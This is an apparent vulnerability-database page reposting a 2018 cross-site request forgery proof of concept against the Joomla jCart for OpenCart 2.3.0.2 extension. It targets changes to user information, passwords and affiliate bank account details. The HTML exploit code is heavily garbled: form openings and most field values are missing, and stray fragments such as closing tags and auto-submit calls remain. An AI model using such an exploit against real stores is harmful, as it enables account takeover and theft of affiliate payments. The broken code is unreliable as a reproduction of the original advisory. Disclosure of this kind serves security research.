发布 2018-05-28 漏洞条目

Joomla! Component jCart for OpenCart 2.3.0.2 – Cross-Site Request Forgery

Exploit Source

# Exploit Title: Joomla! extension jCart for OpenCart 2.3.0.2 - Cross site request forgery

# Date: 2018-05-28

# Exploit Author: L0RD or borna.nematzadeh123@gmail.com

# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/e-commerce-integrations/jcart-for-opencart/

# Vendor Homepage: https://www.joomlaextensions.co.in/

# Version: 2.3.0.2

# Tested on: Kali linux

===================================================

# POC :

# Change user information exploit :

<html>

<body>

</form>

document.forms[0].submit();

</script>

</body>

</html>

# Change password exploit :

</form>

document.forms[0].submit();

</script>

# Change affiliate account information exploit :

<input type="hidden" name="cheque" value="

" />

<input type="hidden" name="bank_name" value="

" />

<input type="hidden" name="bank_branch_number" value="

<input type="hidden" name="bank_swift_code" value="

" />

<input type="hidden" name="bank_account_name" value="

" />

<input type="hidden" name="bank_account_number" value="

</form>

document.forms[0].submit();

</script>

====================================================

相关漏洞条目